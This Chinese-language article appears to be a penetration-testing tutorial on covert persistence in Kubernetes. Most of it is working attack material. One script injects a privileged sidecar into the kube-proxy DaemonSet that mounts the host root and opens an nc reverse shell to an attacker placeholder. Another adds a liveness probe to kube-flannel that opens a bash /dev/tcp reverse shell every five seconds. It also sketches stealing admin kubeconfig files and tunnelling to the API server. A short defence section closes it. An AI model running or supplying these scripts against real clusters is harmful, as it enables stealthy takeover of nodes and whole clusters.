在Kubernetes集群安全中,实现持久化访问(权限维持)有多种常见手法,例如部署后门Pod、CronJob、恶意Deployment或DaemonSet等。这些方法通常需要创建新的Pod或控制器资源,在集群审计中相对容易被发现。
那么,是否存在一种方法,能够巧妙地利用集群中已有的控制器和Pod,实现更隐蔽的权限维持呢?动态容器注入技术为此提供了一种思路。
目前主要的注入方式有两种:一种是向现有Pod中注入一个Sidecar容器;另一种是利用存活探针(Liveness Probe)在容器内执行命令。
利用Sidecar容器技术进行注入
Sidecar是一种容器设计模式,指在同一个Pod内运行一个辅助容器,为主容器提供额外的功能(如日志收集、代理服务等),其生命周期与主容器完全一致。关于其官方定义与用途,可参考Kubernetes官方文档。
在攻击利用场景中,我们可以通过修改某些控制器(如DaemonSet)的Pod模板定义(spec.template),然后触发控制器更新,从而在不新增独立Pod或控制器的情况下,向现有Pod注入一个恶意的Sidecar容器。
为什么选择DaemonSet?
- 节点全覆盖:确保集群所有(及未来新增的)节点上都会运行一个Pod实例。
- 自动恢复:如果Pod意外退出,DaemonSet控制器会自动在对应节点上重建Pod,提高了后门的可用性。
为了最大化注入容器的权限,通常需要突破容器与宿主机的隔离限制,配置思路如下:
- 将容器设置为特权模式(
privileged: true)。
- 与宿主机共享网络和PID命名空间(
hostNetwork: true, hostPID: true)。
- 挂载宿主机根文件系统到容器内部。
经过以上配置,获取该Sidecar容器的Shell后,其权限几乎等同于获得了节点本身的访问能力。
基础注入实战
通常选择kube-system命名空间下已存在的DaemonSet进行注入,例如kube-proxy。
-
查看目标DaemonSet
kubectl get daemonset -n kube-system
-
获取其YAML定义并分析
kubectl get daemonset kube-proxy -n kube-system -o yaml
核心在于spec.template.spec部分,我们需要在其中添加一个新的volume和一个新的container。
-
编写自动化注入脚本
以下脚本示例演示了如何自动化修改kube-proxy DaemonSet,注入一个挂载宿主机根目录并执行反弹Shell的Sidecar容器。
#!/usr/bin/env bash
# inject-cache.sh -- 自动注入“cache”边车容器
set -e
# 1. 自动提取原yaml中的镜像(非必需,仅为示例)
image=$(kubectl -n kube-system get ds kube-proxy -o yaml \
| awk '$1=="image:"{print $2}' | head -n1)
# 2. 定义变量
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
# 3. 构建待注入的YAML片段
volume_block="\ - name: ${volume_name}\n hostPath:\n path: /\n type: Directory"
container_block="\ - name: ${ctr_name}\n image: alpine:latest\n imagePullPolicy: IfNotPresent\n command: [\"/bin/sh\"]\n args:\n - -c\n - 'set -x; nc <ATTACKER_IP> <PORT> -e /bin/sh & tail -f /dev/null'\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: ${mount_path}\n name: ${volume_name}"
# 4. 使用awk进行YAML编辑并触发更新
kubectl -n kube-system get ds kube-proxy -o yaml \
| awk -v vb="$volume_block" -v cb="$container_block" '
/^ volumes:/ { print; print vb; next }
/^ containers:/ { print; print cb; next }
1' \
| kubectl replace -f -
echo "[+] Injection done, waiting for rollout..."
kubectl -n kube-system rollout status ds/kube-proxy
echo "[+] DaemonSet updated."
脚本关键点:
- 在
volumes:段添加了一个hostPath类型卷,指向宿主机根目录/。
- 在
containers:段添加了一个新的容器,使用alpine:latest镜像,执行反弹Shell命令。
- 新容器拥有
privileged: true权限并挂载了宿主机的根卷。
-
执行效果
- 攻击者VPS上收到来自Pod内容器的反弹Shell。
- Shell中可访问
/var/kube-proxy-cache,即宿主机的完整文件系统。
- 在Master节点查看Pod,仅显示容器数量增加,隐蔽性较高。
思路优化:提升可用性与隐蔽性
利用DaemonSet的特性,一次注入即可在集群所有节点上部署后门容器。但基础的nc反弹Shell存在连接单一、易断连的缺点。
优化方案:集成C2木马
利用存活探针技术进行注入
Sidecar注入法可能导致Pod内容器数量异常,且可能需要从外网拉取镜像,在内网严格隔离的场景下可能失效。
利用存活探针(Liveness Probe)的exec模式,可以实现在不增加容器、不拉取新镜像的前提下,在原有容器内定期执行命令。
基础注入实战
-
寻找合适的DaemonSet及其Pod
我们需要目标Pod内的容器包含bash、sh等Shell解释器。可以使用脚本遍历查找。
# 简化查找脚本示例
for ds in $(kubectl get daemonsets -A -o jsonpath='{range .items- }{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=$(echo $ds | cut -d/ -f1)
name=$(echo $ds | cut -d/ -f2)
pod=$(kubectl get pods -n $ns -l $(kubectl get ds $name -n $ns -o jsonpath='{.spec.selector.matchLabels}' | tr ',' '\n' | awk -F: '{printf "%s=%s,", $1, $2}' | sed 's/,$//') -o jsonpath='{.items[0].metadata.name}' 2>/dev/null)
if [ -n "$pod" ]; then
echo "Checking $ns/$name -> $pod"
kubectl exec -n $ns $pod -- which bash &>/dev/null && echo " Has bash"
fi
done
例如,常见的kube-flannel DaemonSet所使用的Pod通常包含bash。
-
分析并注入恶意探针
获取kube-flannel-ds的YAML,重点在其容器配置部分添加livenessProbe。
#!/usr/bin/env bash
# inject-flannel-probe.sh
set -e
PROBE_CMD='/bin/bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'
PROBE_BLOCK="\ livenessProbe:\n exec:\n command:\n - /bin/bash\n - -c\n - '${PROBE_CMD}'\n initialDelaySeconds: 30\n periodSeconds: 5\n failureThreshold: 2147483647"
kubectl -n kube-flannel get ds kube-flannel-ds -o yaml \
| awk -v pb="$PROBE_BLOCK" '
/^ [a-zA-Z].*:$/ && !done && $0 ~ /volumeMounts:/ {
print pb; done=1
}
{ print }' \
| kubectl apply -f -
kubectl -n kube-flannel rollout status ds/kube-flannel-ds
echo "[+] Probe injected."
探针参数说明:
initialDelaySeconds: 30: 容器启动30秒后开始执行探针。
periodSeconds: 5: 每5秒执行一次探针命令。
failureThreshold: 2147483647: 设置为最大整数,避免探针“失败”导致容器重启,使命令近乎无限期执行。
-
执行效果
- 约30秒后,攻击者VPS会收到来自目标容器的周期性反弹Shell。
- 通过
kubectl describe pod查看Pod,可见其配置了存活探针,但容器数量无变化,隐蔽性极强。
- 由于是在原容器内执行,权限受原容器安全上下文限制,可能无法直接访问宿主机。
思路优化:权限提升与横向移动
通过探针获得的Shell受限于原容器的权限。为了控制整个集群,可以采取以下步骤:
- 获取高权限凭据:在Master节点或拥有高权限的Pod中,提取
/etc/kubernetes/admin.conf或类似的Kubeconfig文件。
- 建立代理隧道:利用已控制的Pod作为跳板,建立通向Kubernetes API Server内网地址的代理(如使用socat)。
- 远程集群操控:在攻击者本地,使用盗取的高权限Kubeconfig文件,通过代理连接API Server,从而获得对整个集群的控制能力。这种通过代理绕过网络限制的方法,是网络安全渗透中常见的横向移动手段。
防御与检测建议
动态容器注入是一种高阶的渗透测试技术,防御重点在于加强审计和监控:
- 启用Pod安全策略(PSP)或Pod安全准入(PSA):限制容器运行特权模式、禁止挂载敏感主机路径。
- 严格进行镜像管控:使用私有仓库,禁止DaemonSet等关键负载从互联网拉取未知镜像。
- 部署运行时安全检测:使用Falco、Aqua等工具,监测异常进程创建、敏感文件访问等行为。
- 加强配置变更审计:监控对DaemonSet、Deployment等关键控制器
spec.template的修改操作,特别是来自非管理员的请求。
- 定期检查集群状态:使用
kubectl get pods -o wide检查异常容器,使用kubectl describe pod关注异常的探针配置。
总结
动态容器注入技术通过篡改Kubernetes控制器的核心配置,实现了隐蔽的权限维持。无论是添加Sidecar容器还是利用存活探针,其本质都是将恶意负载附着在合法的集群工作负载之上,避免了创建独立资源带来的暴露风险。
理解这些攻击手法,有助于从攻击者视角审视集群安全配置的完整性,从而构建更纵深的云原生安全防护体系。
|